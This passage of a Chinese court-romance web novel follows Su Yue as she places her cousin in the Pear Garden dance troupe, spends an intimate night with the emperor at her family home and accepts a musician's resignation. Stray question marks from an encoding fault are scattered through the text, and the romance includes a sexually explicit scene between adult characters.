可不是?,天生?的胡旋舞者,颜在是?吃哪行饭操哪样心,发现天赋异禀的人选,什么都顾不上了。苏月却不得不慎重考虑,苏情生?在三房,三房那对夫妻可不是?随意能敷衍的。无人谋求时?,苏情像草芥子一样,有人谋求,必定立刻奇货可居。到时?候他们会同你细数,有多疼爱苏情,在她?身上花费了多少心血,你要是?想把人带走培养,那可是?了不得的大事。你不但?得保证苏情将来有大出息,起?码像苏云一样,还得保证家里也能跟着沾光,族中大房数一,他们得数二。 所以苏月不便开口,即便面对所有人殷切的目光,她?也仍旧不肯下决断。 苏雪道:“阿姐,我也见过五姐跳舞,转起?来像陀螺似的,我都怕她?把地上凿个窟窿眼儿。” 可大家有心成全没有用?,得苏情自己愿意。 苏月问她?:“你的意思呢?喜欢跳舞吗?” 苏情呆呆的,从未想过自己会迎来大转折。这样的机会,一辈子也许只有一次,就像迷雾中的人乍然清醒,她?急急地吸了两口气,但?说出来的话仍旧嗫嚅:“我喜欢,可我怕别人拿我当妖怪……” 颜在说不会,“眼界开阔了,会见到很多与你长相相似的人,到那个时?候,你再也不会觉得自己与别人有什么不一样。” 苏情终于慢慢振作起来,也是?作了好?大的努力,才转头?对苏月道:“长姐,我想试一试。” 苏月就是要等到她自己亲口说出来,才会决定要不要帮她?,复又问了她?一句,“想明白了吗?若是?进了梨园,你还得受许多调理,舞师很?严厉,你会吃很?多苦,可不及在家自在啊。” 苏情说我不怕,“我阿娘早就过世了,家里的境况阿姐们都知道,其?实我在不在家,对于阿爹和大娘来说无关?紧要。前阵子阿爹结交了一个姑苏同乡,那人说家里有个内侄到了娶亲的年纪,阿爹高?兴起?来就同人家说,要把我嫁给他家。人家并未答应,阿爹还上赶着,好?像我是?个累赘,他们一心就想处置了我。所以我若是?能离开那个家,就是?阿姐们救了我的命,我一辈子记着阿姐的恩情。” 大家听了她?的话,都听出了几分怅然。没有母亲的小女郎,能够坚持到今天已经很?不容易了。她?今年十五岁,正好?及笄,三房夫妇一向慢待她?,也不可能给她准备什么嫁妆,只要有门户愿意娶,给点聘礼说嫁就嫁了。至于以后过得怎么样,苏意也不过如此,苏情就算苦成黄连,于那对父母来说也是?应当的,谁让她长得古怪。 思及此,苏月到底动摇了,不过自己与她?相处不多,只知道有这个堂妹罢了。思忖一番后方对她?道:“三婶那头?我去想办法,但?首要一条,得你自己有主张。我也不晦言,苏意早前让我焦头?烂额,我不怕助益自己的姐妹,只怕最后落得一身埋怨。你要是?打定主意入梨园,就得遵梨园里的规矩,为人要清白正直,再苦再累七年不能回家,你能做到吗?” 苏情说能,“我自愿入梨园,不是?受了谁的怂恿,更不是?受了谁的胁迫。我可以立下字据,请在场的诸位阿姐阿妹为我做个见证。” 有她?这句话,苏月便可以放心去办了。 这时?女使来传话,说筵席摆好?了,请娘子们入席。一群人忙起?身赶往饭厅,今日热闹,摆了四张大桌,连宫中跟来的内侍傅母们,也单独开了一席。 苏月在太后身边坐下,很?是?尽心地诸多照应。权弈那件事之?后,她?觉得自己长大了,须得挑起?更多的担子了。大到朝局,小到内庭,她?要做得面面俱到才行。这个家里人口虽多,但?正经只有三个人,三个人一个也不能少,太后作为家长,对儿女们来说十分重要。 而太后呢,出来一趟散了心,不再那么郁塞了,脸上也有了笑?意。大家碰了杯,高?高?兴兴尝一尝姑苏的雪花酿,虽说风味是?个大方向,但?每家每户的手艺还是?不一样的。 太后对辜家的味道大加赞赏,“我是?滴酒不沾的,要喝只能喝兑了水的。不过这雪花酿是?例外?,我还能喝上两杯,不怕起?疹子。” 辜夫人道:“苏月差人回来知会过了,我们预先温过一回,这酒一温,酒气就散了,等放凉了再端上来,保管太后可以放心饮上三五杯。” 太后顿时?更觉窝心了,对辜夫人道:“我要谢谢你,生?了这样一位好?女郎,养到这么大给了我家,我诚是?捡了现成的宝贝了。” 辜夫人忙说太后过奖了,“我家何德何能,有这样的福气结定这门亲。都说女婿如半子,陛下带给我们的荣耀,又岂止是?半子。” 反正两亲家乐得互相吹捧,气氛和乐融融。苏月回头?看?了眼邻桌的皇帝,他正与阿爹阿兄他们说笑?,发觉她?看?过来,朝她?举了下杯。 两个人遥遥对饮,这个举动在老父亲看?来十分欣慰。女儿这皇后当得没有战战兢兢,也没有委曲求全,酒过三巡后,老泰山终于对女婿说了句真心话,“我如今着实后悔当初的浅见了,陛下是?位好?郎子,我把女郎托付给你,放一百二十个心。” 能得岳父的认可,这是?郎子最大的荣光。皇帝郑重向他敬酒,“您老果然慧眼如炬。” 不过还有一件事,在他心里憋了好?久,时?至今日也不用?藏着掖着了,悄声?对老岳丈道:“朕的下榻之?处,能搬到西边去么?” 辜祈年嘴里含着的酒还没来得及咽下去,被他这一问,险些呛着。 皇帝忙替他捶了捶背,真诚地说:“肺腑之?言,不敢欺瞒岳父。” 果然是?个实在人啊,辜祈年心道。听说昨晚苏月留宿在掖庭了,如今只欠大婚……但?好?像也没有那么重要了。 “放心。”老岳父压声?道,“西边还有个闲置的院子,是?留给你们婚后用?的。早在过五礼时?,苏月的阿娘就着人布置起?来了,一向闲置着,苏雪常去打扫。” 皇帝不胜欢喜,忙朝他拱手,“多谢岳父大人。” 辜祈年笑?了笑?,“来来,喝酒。” 皇帝一高?兴,敬了众人一杯。 等到宴后,大家都挪出去饮茶,苏月和苏云才找到三婶好?好?说上话。 苏云开门见山,“阿婶,苏情想入梨园拜师学舞。” 三夫人被她?说懵了,“入梨园?她?怎么忽然想入梨园了?” 苏月说:“她?有学舞的天赋,云韶寺近来正组建一批舞者,寻常云韶寺宫人都是?贱籍,唯有这批舞者是?良家子。苏情喜欢跳舞,专程同我说了,我觉得很?不错,所以特来请阿婶的示下。” 她?说请示下,这怎么敢当。三夫人虽有些惶恐,但?家里孩子的主,总还是?做得的。 于是?支支吾吾敷衍,“你阿叔正打算给她?议亲呢……” 苏月颔首,“我听说了,是?姑苏的同乡。但?我觉得,阿叔阿婶且不用?这么着急,全家刚从姑苏来,又把苏情嫁回姑苏去,让那些远亲们见笑?,还以为在上都混不下去了呢。再说江南女郎陪嫁多,若给少了,亲家背后编排,脸上也不光鲜。我有个浅见,莫如让苏情挣出个前程来,不成就罢了,但?万一成器,家里不也跟着沾光吗。” 三夫人对这庶女,从来是?鼻子眼儿看?待的。 “她??”三夫人失笑?,“我是?不指望她?能成大器的,能找个好?夫家已经是?阿弥陀佛了。” 苏云白眼翻上了天,“阿婶何必看?不起?人,王侯将相脑门上,也没写着成器两个大字。” 三夫人见她?们要恼火,忙“唉呀”了声?,“你们平时?那么忙,理她?作甚,由她?去吧。” 苏月知道,这对夫妇看?不见好?处是?不会撒手的,便道:“梨园子弟家中能得优待,三叔如今不是?也有铺面吗,税负能减免许多,有什么不好?。再者让她?跟着前头?人赴私宴,多了在人前露脸的机会,万一遇上了正缘,那可都是?高?门大户,不比嫁回姑苏强?” 如此一列举,三夫人有点动摇了,原本就不耐烦养着,离开家能减轻他们的负担,非留着她?做什么! 不过利益还能再争取一些,谁让眼前人是?皇后呢。 三夫人堆起?了笑?,“阿妹们借着你的光,总是?错不了的。可我心里也发愁,要是?真如你所言,她?能嫁入高?门大户……那高?门大户岂是?那么好?立足的,陪嫁定然少不了。” 苏月对这嘴脸可说是?厌恶至极,但?为了帮苏情从那个家脱离出来,只好?放话,“真到了那个时?候,不足的陪嫁我替她?补齐。” 三夫人得了这个承诺,自然没有二话,这黄毛的庶女有人替她?操心,她?高?兴还来不及。遂爽快道:“你一心为阿妹着想,我还能拦着吗。既如此,你们今日就把她?带走吧。” 苏月说好?,顿了顿又对三夫人道:“苏情进了梨园,一切都要按着梨园的规矩办,中途没法回家,更不能由得家里物色婆家,这个规矩您知道吧?” 三夫人说:“知道知道。家中就算有事,她?也帮不上什么忙,让她?只管在梨园呆着吧,好?好?学技艺要紧。” 人这就算扔出去了,扔出去了概不回收,这是?三夫人的宗旨。 苏月到底放心了,笑?着对三夫人道:“苏情在园中,一切由我们姐妹照应,不会给家里添什么麻烦的。我阿娘她?们都在西厅里抹纸牌呢,阿婶也去吧,我们姐妹自己聚聚。” 三夫人喜滋滋地走了,待她?走远,苏情才从屋角走出来,心下悲戚于轻易就被那个所谓的家遗弃了,转念一想,欢喜更大于失望。只是?她?不会说话,也不知道怎么表达感激,一径对苏月和苏云行礼,坚定地说:“多谢二位阿姐,我一定争气。” 争气就好?,人活一辈子,你可以不够成功,但?你一定得争气。 苏月和煦道:“家里想必也没什么可收拾的,不用?回去了。入了梨园,吃穿用?度都有,若是?缺了什么,只管同我们说。” 一切安顿好?了,剩下的便是?聚在一起?饮茶晒太阳。无聊时?在台阶上放置一只双二壶,大家执箭投壶,半天时?光等闲也就度过了。 及到晚上再开宴,算是?正经的一顿团圆饭,照着除夕的规制又来了一遍。宴后颜在对苏月说:“多谢你们今日邀了我,我可算过上了一个像样的年。等开了春,我该写封家书回去了,就说我在上都一切都好?,还当上了官,请阿娘等着我衣锦还乡的那一天。” 所以一切都在向好?,每个人都满怀希望。客散的时?候全家送出门,热热闹闹地一一拱手道别。 门外?的巷子里,东一处西一处聚集着几个孩子,放那种小小的,指节一般粗细的小炮竹。拿线香点燃引线,先是?滴溜溜旋转,转到最后“啪”地一声?炸开,引得孩子们捂住耳朵四下逃窜。 太后看?了半晌,含笑?收回视线,冲预备跟着一同回宫的两人说:“好?容易回来一次,住下吧。初四才有大朝会,还能玩上两日。” 苏月有些迟疑,“还是?一同回宫吧。我原说要陪您上十泉里去的,马车绕行,正好?可以经过。” 太后说不必了,“法驾老大的声?势,行动起?来也不方便。等到了元宵节,咱们寻常打扮出去逛,那样才能玩得尽兴。” 太后既然发了话,他们便不再坚持了,送她?与珍珠傅姆登上车,看?着乘辇缓缓去远,大家方返回门内。 这下只剩自家人了,众人大眼瞪小眼,对皇帝的就寝问题讳莫如深。 三兄弟摸着脑袋,还在彷徨今晚是?不是?要设关?卡,辜祈年咳嗽了声?,“时?候不早了,忙了一整日,都回去歇着吧。” 兄妹几个一哄而散,回自己的卧房去了。苏月转身也待离开,走了几步才发现权大跟在她?身后,她?奇道:“你的院子在东边,走错方向了。” 早就和岳父达成共识的人说:“今晚我住西院。” 苏月有点心虚,左右看?了一圈,确定没人听见才道:“这是?在我家,你我不便明目张胆。” 他听得发笑?,“家里人什么都知道,你就不必掩耳盗铃了。我先前与岳父大人商讨过,是?岳父大人让我住西院的。” 苏月顿感困窘,“你八成又在诓我,我阿爹怎么会答应你!” 他骄傲地挺了挺胸,“命里有时?终须有,命里无时?提要求。” 苏月无可奈何,只好?闷着头?往西边去。将要抵达自己的院子时?,见国用?挑着小灯在三岔路上候着,快步上前殷勤地往南指引,“陛下,大娘子,屋子暖起?来了,被褥也熏好?了,移驾吧。” 苏月身不由己,被拽进了南边的院子。这还是?她?第一次来这里,早听说过阿娘给他们预备了大婚用?的院落,进正屋一看?,满目鲜红耀眼,布置和权大的品味正相合。 他很?高?兴,转了两圈说:“虽然亲迎还得再等等,但?不耽误我先做新郎官。你瞧多喜庆,多好?看?!” 苏月没理他,忙于查看?苏云带回来的巡查名?录,独自在桌前坐下了。他见她?对他爱搭不理,自己老老实实先去洗了澡,洗完了回来,穿着宽袒的寝衣坐在摇椅里,很?有耐心地等她?。 女郎沐浴耗时?很?长,不知她?打算洗出什么花来。他等了许久不见她?出来,忍不住在浴室门外?徘徊,几次想闯进去,紧要关?头?还是?忍住了。 终有等到水声?停止,有脚步声?传来,他忙不迭坐回摇椅上摆好?姿势,一手支颐,面露难色。 苏月见他装模作样,奇道:“怎么还不回床上去?” 他说腿麻,“起?不来了。” 又在搞什么花样,摇椅她?从小就坐,从没听说坐这个还能腿麻。看?来又在撒娇,要她?过去拉他,她?无奈地朝他伸出手,可惜没能拽起?他,反倒被他拽过去了。 他捞起?她?的腿,让她?面对面坐上身,垂眼一看?,裙下的腿像白玉雕成的,分列两侧,看?得人血脉偾张。 他仰起?脸,在她?颈间亲了下,“大娘子,往后你别弹琵琶了,弹我吧,就用?你的腿。” 苏月被他硌得坐立难安,“又在胡说……用?腿怎么弹……” 他的眼睛里闪耀着智慧的光,贴在她?耳边说怎么不能,“不能用?来拨弦,可以用?来调轴啊。” 第79章 第 79 章 用来调轴……这人如今是开了智, 一下子变得又聪明又淫邪。 屋子里燃着温炉,一室如春,衣裳单薄好行事, 看看对方, 都是等待采摘的娇花啊。 他牵过她的手, 放在弦轴上,微微一调就春心荡漾。苏月终归还是不好意思的, 不好意思让他就着灯火看见自己红了脸,便偎在他颈边, 把他拨弄成了手上的琵琶。 他气喘吁吁, 但仍带委屈,“现在想起我来了……你?一整日和阿妹们在一起,都没有好好看过我一眼?。” 苏月并不承认, “怎么没有好好看你?, 席间离得那?么远, 我还敬你?酒了呢。” 他的身子绷成了一张弓,调到激动处, 狠狠把她的手包进掌心,“我看你?十次,你?看我一次……你?说, 是不是得到了, 你?就不珍惜了?” 苏月否认, “胡说,我这不正在珍惜你?么。” 他气馁不已,“都是哄我的。你?眼?里装了很多, 并非时时刻刻都有我,还有你?的爹娘兄妹, 还有你?家的狗。” 他又开始无?理取闹了,苏月惩罚式地捏了他一下,引得他倒吸凉气。她磨牙霍霍道:“我眼?里装得再多,也只对你?这样。别身在福中不知福,再抱怨我可要?下死手了。” 他一下失了力气,瘫在摇椅里任人宰割,嘴硬的毛病已经?彻底向下扩散了。 “以后你?要?自省,越是人多的地方,你?越要?只看我一人。”他闭着眼?蹙着眉,难耐地挺了挺身,“还有裴忌,我得继续提防着他……这人虽已成亲,但威胁仍在……明知九死一生,他居然不顾自身安危,任你?调遣……有可疑。” 苏月对他大为唾弃,“小?人之心。” 他一面抽气一面狡辩,“今日法驾经?过,他朝车舆内张望,一定是想见你?。” 苏月不知他的脑子到底是怎么长的,“他夫人就在他身边。” 皇帝说你?不懂,“夫人用来过日子,求而不得的女?郎藏在心里,久而久之能磨成珍珠。” “他是蚌吗,还磨珍珠!”苏月抬腿就要?起身,“这轴我不调了,手酸。” 可是一抬股,有凉风穿过,下面的人得意地说:“女?郎,你?好像很热,把我的腿都坐湿了。” 苏月顿时捂住了脸,“不许说!” 皇帝扯她的手,愈发嘴欠了,“捂脸做什么,刚调过轴的。” 所以这人真是坏到根上了,就算捶他几下都不解气。但苏月心里明白,玩笑?可以开,绝不能让他对裴忌生出嫌隙。毕竟帝王心术,谁知道今日的撒娇抱怨,来日会?不会?化作割破咽喉的利刃。所以要?在他刚有起势的时候压制住,不管是哄骗还是恐吓,非断了他的念想不可。 挪了挪身子,与他靠近,她捏着他的下巴说:“心里琢磨得太久,假的就变成真的了。今日太后是怎么说你?的,臣子对你?忠心耿耿,你?可不要?伤了臣子的心。他调兵遣将不是为我,是为忠君之事。你?以 后再拿他和我打趣,就别想上我的绣床了,记住没有?” 她有好手段,款款摇曳,他的三魂七魄都要?飞出去了。 “记住了……记住了……”他扣住了她的腰,“办正事吧。” 可她不想让他如愿,总觉得这人嘴上一套心里一套。就说齐王那?事,他居然能坚守秘密,半点没有向她透露。骗了她这么多眼?泪,还让她自愿同他生孩子,一箭三雕全在他的算盘内……怎见得他今天能瞒天过海,明天不能釜底抽薪? “我信不过你?。”她撑起了身子,“将来你?会?不会?借故除掉裴忌?” 他说不会?,“吃醋是私情,公私不分?,朕还当什么皇帝。只要?他安分?守己,不居功自傲,我还是容得下他的,并且会?重用他。”他被她钓得像蹦上岸的鱼,再不来,就要?脱水窒息了。核心急切地上移,但约法三章也不能忽略,用力把她往下拽了拽,“只要?你?答应我,不私下见他,不和他眉来眼?去,我保他平安活到死,儿孙还能承袭官职。” 这个许诺还是很上道的,只不过要?求有点讨人厌。她气道:“说的什么鬼话?,我何时与他眉来眼?去了。” “你?们还暗通书?信!” 男人蛮不讲理起来,可算是无?药可医。 苏月道:“我那?时搬救兵,不写书?信难道直接见面?唉呀失策,早知如此?真该见一见,说不定这一见你?就装不下去了,我也不用白流那?么多眼?泪。” “不许见!”他已兵临城下,那?双眼?眸像水底的黑曜石,前一刻强势,后一刻又放软了语气,“坐吧,坐下说话?。” 她说不坐,“我喜欢这么说话。” 他简直有些生无可恋,“我使?尽了浑身解数,你?不觉得腿软吗?是我不能让你?着迷,还是弦轴不合你的心意?” 其实那?弦轴,实在是根上好的弦轴,从大树上长出来的强壮分?枝,结实趁手,棱角分?明。 他很有技巧地撩拨,一次又一次,像羽毛拂过水面。她的身子是有些发软了,欲沉不沉,就快撑不住了。 在理智还占据着脑子时,她在他鼻尖轻捏了下,“金口玉言,承诺过的事不能赖账。” 他“嗯”了声,奋力一拽她,两个人异口同声惊呼。他闯进了全新的世界,而苏月却懊恼不已,拧着眉直顺气,“我的伤口八成又裂开了。” 他吓得不敢动了,探手道:“我摸摸。” 还没触及就被她拽了回来,“别乱摸。” 很快她又发现了一个新问题,初出茅庐实在不该胡乱尝试。弦轴在灵魂深处绞动,那?种疼是难以形容的疼,要?把她的肠子搅乱,把她的肚子捅出个窟窿来。 她哀哀地说:“当不得,我要?回床上去。” 这个要?求很简单,他端起她,说走就走。只是这一路也不容易,她只有艰难地勾住他的脖子,才能保证自己不会?滑下去。 终于?躺回了他最?喜欢的赤红被褥间,他爱看她雪白的身躯和鲜艳的锦衾交相辉映。还有她的欲拒还迎,她的媚眼?如丝,天底下哪有比她更可爱的女?郎! 他须得轻一点,不能太孟浪。往后还有那?么漫长的几十年,千万要?好生爱惜,不让她受一点伤。 所以鲁男子不鲁莽,他不是只图自己快活就一味蛮干。因为他的体贴和柔情缱绻,苏月能跟上他,然后心摇神晃不知天地为何物,欢愉过后恨不得抱住对方大哭一场。 多少深沉的爱意,找不到合适的话?说出口,他只管吻她,一遍又一遍喃喃“我的女?郎”。 苏月搂住他的脖子回吻他,“我的郎君。” 被满腔爱意浸泡着的人,忽然有了新感悟,“你?以后就叫我郎君吧,我爱听。” 苏月说为什么,“大郎多亲切啊。” 他说不好,“我躺在那?儿的时候,你?一喊大郎,我就怕你?让我吃药。” 她无?声地笑?起来,笑?得眉眼?弯弯,快乐非常。 他气恼,“你?还笑??不许笑?!” 她说这人真霸道,“是你?自己诈死,可怨不得我。这是你?骗我的报应,我如今还后悔呢,早知道不该揉喉结,该捏着你?的鼻子往下灌。” 怒目相向,最?后化作了臀上的一掐,“你?今晚怕是不想睡了。” 她立刻服了软,“好了,不笑?了,睡觉。” 对于?武将出身,精力充沛的皇帝陛下来说,把时间花在睡觉上,是对活着的亵渎。她闭上了眼?,他便不屈地扒拉她,硬把她的眼?皮扒开,讨好地说:“时候还早,睡什么觉。别睡了,我给你?讲个笑?话?听。” 苏月说不,胡乱拍开了他的手,“半夜三更不睡觉,讲什么笑?话?。” 于?是他提出了一个比笑?话?更提神醒脑的问题,“那?你?说,明早该如何面对令尊和令堂?” 苏月顿时一惊,立刻瞪大了眼?。对哦,自己怎么糊里糊涂跟他进了这个院子,就这么光明正大住在一起了……这下全家怎么看她?明早见了面,该有多尴尬! 恼羞成怒,气哼哼地瞪他,“都怪你?,住在东院不是好好的吗,做什么忽然搬到这里来。这是为大婚准备的院子,你?怎么自说自话?住进来了?” 皇帝无?辜地说:“是你?阿爹答应我的。” “阿爹答应我和你?一起住这里了吗?” 皇帝回忆了下,遗憾地说:“好像没有。” 苏月打了他两下,抱住脑袋哀嚎,“我这回可被你?坑惨了。” 虽说她与他经?历了一些风雨,发展成现在这样合情合理,但毕竟是在父母身边,终究还是让人觉得难为情。 皇帝懂得女?郎的难处,安慰道:“不要?紧,明日我与岳父岳母说开,就说是我急不可待,把你?骗上床的。” 被他那?张嘴一解释,白的也变成黑的了。苏月为了防患于?未然,勒令他到时候不许说话?,一切让她自己应对。皇帝欣然答应了,感慨娶了个有担当的妻子就是好,自己什么都不用发愁,只管享受婚姻的美好就是了。 所以第二天走出院子见到全家人,皇帝是很坦然的,苏月却犹如三堂会?审。全家人都知道他们昨晚同住了,吃早饭的时候坐在一起,辜夫人尽力调节气氛,想让场面活跃起来,但活跃中还是透出淡淡的尴尬。只要?话?题一停顿,尴尬就无?限放大,这顿早饭真可谓吃得食不知味。 苏月最?后到底忍不住了,放下筷子道:“首先?,我们这样是错的,请没有成婚的阿妹们不要?效仿。再者……我想同大家说一说心里话?。” 众人便也放下筷子,洗耳恭听。 苏月作势清了下嗓子,方才真诚地对大家说:“年前出的那?件事,我想了又想,归根结底终归是陛下无?子的缘故。其实我与他年纪都不小?了,确实应当早些有个孩子,这不光是为私情,更是为社稷稳定,杜绝旁人谋夺皇位的可能。” 皇帝听着大感安慰,暗里高呼说得好,作为一国之后,就是得有这种场面上慷慨陈词的能力。 全家人也都能够理解她的决定。早前的那?场动荡,险些没把大家吓死,但凡有利于?国家,谁都不会?有二话?。 苏月见大家都认同,接下来的话?可能会?引发一点骚乱,她沉吟了下道:“孩子要?生,梨园要?管,所以我打算先?生孩子,以后有空再大婚。” 这下把包括皇帝在内的众人都惊呆了,皇帝结结巴巴道:“先?生孩子再大婚?朕……没听明白。” 苏月同情地看了他一眼?,“不要?这么惊讶,这确实是我能干出来的事。成婚不就是为了繁衍子嗣吗,我半点没耽误,经?过不重要?,结果?才最?重要?,陛下你?说是吧?” 皇帝呆呆点头,“不过……” 她没给他反对的机会?,“我是女?郎,我都不在乎那?些繁文缛节,您是皇帝,更要?看得开。” 辜祈年怔愣半天,好不容易才找回自己的嗓子,“也就是说,万一有了喜,你?还要?继续留在梨园?” 苏月说是啊,“怀着孩子又不是什么都干不了,我问过袁内宰,她说整日躺在床上养胎,孩子太大生起来艰难。反倒是多多走动,别太当回事,将来临盆可以少受一些罪。” 大嫂蹦出来应了句,“说得对……”说完发现大家都看向自己,忙老实闭上了嘴。 皇帝笑?得很凄惨,“这样不太好吧,弄得朕很不负责任似的。” 苏月安抚他,“人人都知道是谁的孩子,我不觉得委屈。” 这是她委不委屈的问题吗?明明是他的名分?始终没有着落的问题!他感觉自己就像被借了种,她利用完他,根本不打算给他任何说法。虽然她这么决定全都是为了他,但人心总是不足,他不光想要?孩子,更想时时刻刻能见到她。 苏月还不算迟钝,终于?发现了他的犹豫,调转视线问他:“陛下觉得这样安排不好?” 直撅撅把问题扔到他脸上,他可悲地发现,自己居然没有勇气说不好,“朕……没什么意见。” 她浮起了一个微笑?,“陛下不愧是我看上的郎子,襟怀澄澈,度量奇大。”几句话?说得皇帝挺直了腰板。 至于?辜夫人呢,觉得这个决定实在太好了,“女?郎生孩子,最?不放心的就是做娘的。若是苏月不回掖庭,交由我来照顾,我定会?把她照顾得妥妥帖帖,诸事都不用陛下操心。” 皇帝无?奈地看看苏月,转而对辜夫人堆起了笑?,“有岳母大人照应,朕就不用发愁了。” 这事就算商定了?算是吧…… 反正辜家人都很高兴,没有一入宫门深似海,想见女?儿一面也不必通过层层回禀。他们是姑苏的小?门小?户,嫁女?不想嫁得太远,最?好街头街尾,一天能来回好几趟,便于?照应。原本苏月要?嫁进宫里,他们是很有些不舍的,也作好了日后越走越稀松的准备。谁知冷不丁蹦出了另一种可能,着实令所有人心花怒放,除了皇帝。 然而毛脚女?婿还得强颜欢笑?,笑?着笑?着唇角就不由往下耷拉,等到人散了的时候,他才悲戚地望着苏月道:“你?毫无?忧患意识,不能日日在一起,万一感情淡了怎么办?” 苏月的表情很严肃,“没有亲迎之前正好测一测,若是反悔,彼此?都来得及。” 这下吓得他不敢说话?了,不明白都这样了,怎么还能反悔。 他只好自己开解自己,所幸他有先?见之明,开辟了一条专属通道,从南到北通行很方便,把梨园官舍当成她的长秋宫就行了。这么一想,好像一切都不成问题了,何必庸人自扰呢,痛快享受耳鬓厮磨的绝妙时光不好吗? 开春了,万物复苏了,他的爱情反正也修成正果?了。 另外娶妻还有一宗好处,就是在岳丈家的时光令他很开心。苏月的三位阿兄都不是莽撞的人,喜好也很无?趣,二兄刚到上都就发现坊院内有条小?河,水质好,鱼虾多,专程买了两桶鱼苗放生。 放生是为了积德吗?并不是,是为了再钓上来。 皇帝来了他们家,他们很严谨地为他准备了一根钓竿一个桶,带着他一起坐在西北风里钓鱼。起先?皇帝并不喜欢这种无?聊的活动,但随着接连两日的培养,他居然有点上瘾了。在外面忙上三个时辰,最?后提着桶里的四五尾鱼回来,那?通炫耀,比攻下了城池还要?高兴。 苏月看着他那?模样,不怀疑将来哪天要?是钓到大鱼,会?拎上朝堂向众臣工显摆一番。 “不可玩物丧志啊。”她叮嘱他。 皇帝说放心。处理朝政大事时他是英明的帝王,忙完了政事偶尔来岳丈家走走,和大小?舅子相约垂钓,也是一桩雅事。 不过初四有大朝会?,初五宫里要?宴饮,因此?他们只能在家住上两晚,初三夜里得各自返回,去忙前几日耽误下的公事。 苏月回到梨园的时候,已经?将近傍晚了,查看过太乐令送来的曲目册子,确定一切可行后,便去云韶寺看望了苏情。 颜在把苏情安排得很好,寻了几个知根知底的舞者同她一间直房住着,有事可以照应,也没有人会?欺负她。苏月进门的时候一见她,就确定把她带进梨园这个决定作对了。她穿着云韶寺统一的着装,发髻不像以前半散,而是绾成高高的髻。一张脸大大方方地坦露着,没有畏缩,也没有仓惶,精神显见地振作了不少。 一错眼?,发现苏月来了,她忙迎上前,欢欢喜喜说,“阿姐,我在这里一切都好。” 苏月笑?着颔首,“舞师带你?入场了吗?可教授你?一些基本功?” 说起这个,边上的同寝马上接了口,惊异地说:“大娘子,她一来舞师就检阅过了,臂展身量都合乎标准,又测了她旋舞的时长。天爷,足足转了三盏茶工夫,把边上的人都惊呆了。” 所以她天生适合吃这碗饭,苏月道:“总算没有埋没才华,我也很欣慰。”复叮嘱她,“日后还要?好生学,光会?胡旋远远不够,中原舞乐之外还有高丽、天竺、龟兹、文康。既然决定走这条路,就要?立志做到最?好。” 苏情满怀信心说是,“我绝不辜负阿姐的期望。” 苏月又问她食宿上可还习惯,苏情说:“比之在家的时候好多了。起码这里用不着提心吊胆,也不担心阿爹心情不好,摔了筷子就骂人。” 苏月听后唯感唏嘘,退出云韶寺的时候同颜在说:“我自小?家里和睦,没想到堂妹过着那?样的日子。” 颜在道:“这样的人家可多呢,好些女?郎没有出路,只好默默受着。到了年纪盼出阁,运气好的嫁个好郎子,运气不好的,不过换个地方继续受罪。唉,女?郎一辈子多沉重,以前说梨园是火坑,现如今反而成了乐土,都是你?的功德。” 苏月发笑?,“是我们大家的功德,每个人都帮着敲木鱼了。” 两个人正说着,下了长廊,发现前路上出现了一个好大的身影,只见他交扣着两手转圈,一会?儿仰天一会?儿俯地。 苏月和颜在交换了下眼?色,走近才看清那?张潦草的脸。 苏月问:“醍醐,你?在这里做什么?可是有话?要?说?” 第80章 第 80 章 醍醐的脸上挤出了一点笑?, “大娘子,卑下?确实?是来麻烦大娘子的。” 关于他的事?,苏月上回在太后?宫里见到鲁国夫人, 已经大致了解了。后?来因不便过问人家的私事?, 没有过多?探究, 他那头?也一直安安静静地,从未发生过什么。今天忽然?找上门, 想必还是那个缘故吧,自己不能主?动询问, 得等他自己来说。 苏月点了点头?, “什么事?,但说无妨。” 醍醐仍是有些犹豫,否则也不会在那里茫然?转圈了。但这件事?他想了好几日, 确实?不能再耽搁了, 遂吸了口气道:“大娘子, 我?想离开梨园,请大娘子成全。” 苏月在意料之?中, 颜在却很意外,“怎么忽然?想起要?走了?上回排查前?朝遗留的乐工,曾一一询问过你们的意思?, 当?时你没有动过这个念头?啊, 这回忽然?改了主?意, 总得有个说法吧。” 醍醐那张黑红的脸膛上浮起了困窘之?意,内情怎么好意思?说呢,尤其是面?对着两位女郎。于是含含糊糊道:“就是因一些私事?实?在纠缠不清, 不得不作个决断。卑下?打算离开上都,回老家做小买卖去。” 苏月问:“不再弹琴了吗?” 醍醐摇了摇头?, “我?一个大老粗,本不该做这种精细活计。别人看我?像看猴戏,太过招人瞩目,早晚会引出麻烦。” 颜在还蒙在鼓里,苏月心里却明白,这是哪个都不选啊,宁愿回老家,也不在上都谋求富贵。 看来汉阳长公主?和鲁国夫人的争端,经历了这么长的时间,也没分出个高下?来。醍醐是个明白人,与其夹在权贵中间进退维谷,不如远远离开,保得后?半辈子太平。 只是她不免惜才,怅然?道:“这么好的琴技,就此放弃了实?在可惜。” 醍醐却爽朗一笑?,“不可惜,将来茶余饭后?给乡亲们弹弹曲,十里八乡谁家要?是做红白事?,我?还能挣些出场的小钱儿,也是个不错的进项。” 苏月见他这么说,终究不能再强留了,便道:“你若是下?定了决心要?走,那就走吧。向太乐令回禀一声,把俸禄结清,就可以离开圆璧城了。” 醍醐拱起手,深深向她长揖下?去,“多?谢大娘子了。后?日汉阳长公主?府上有一场吹弹雅乐,卑下?这一走,恐怕乱了园中的安排。大娘子放心,我?已托了同寝的好友代我?,不会出乱子的。卑下?这阵子在园中蒙受大娘子抬举,还没能报效大娘子,半道上打了退堂鼓,实?在愧对大娘子。” 苏月笑?了笑?,“鼎盛的时候选择隐退,必定有不得不走的原因。我?不会勉强你,一切你自己做决定,只要?是无悔的,就按着自己的心意去办吧。” 醍醐振袖长拜,直起身时再没有迟疑,转身朝远处去了。 颜在望着他的背影叹息,“这么好的乐师去经商,埋没了天赋。”转头?又问苏月,“你怎么不挽留他?说不定再劝一劝,他就又想通了呢。” 苏月道:“他有不得已的难言之?隐,能够一走了之?,我?反倒觉得他有骨气。” 颜在诧然?,“怎么还牵扯上了骨气?” 苏月便把初雪那天见了鲁国夫人的经过告诉她,听得颜在啧啧称奇,“咱们只看见他技艺精湛,技艺之?外,必定也有可圈可点之?处啊。不过他是两个都不喜欢吗,为什么一个都不选?” 苏月道:“汉阳长公主?和鲁国夫人抬头?不见低头?见的,真要?是夹在她们中间,对谁都不好。所?以说他是个聪明人,不去搅浑这潭水,不给自己惹事?。只要?他一走,两位命妇也能冰释前?嫌,不是谁都不得罪吗。” 颜在懊恼不已,“她们抢人,害咱们损失了一员大将。” 